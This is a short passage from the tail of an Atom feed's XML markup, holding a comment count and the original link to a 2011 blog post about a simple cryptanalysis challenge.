width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/03/simple-cryptoanalysis-challenge.html</feedburner:origLink></entry></feed>

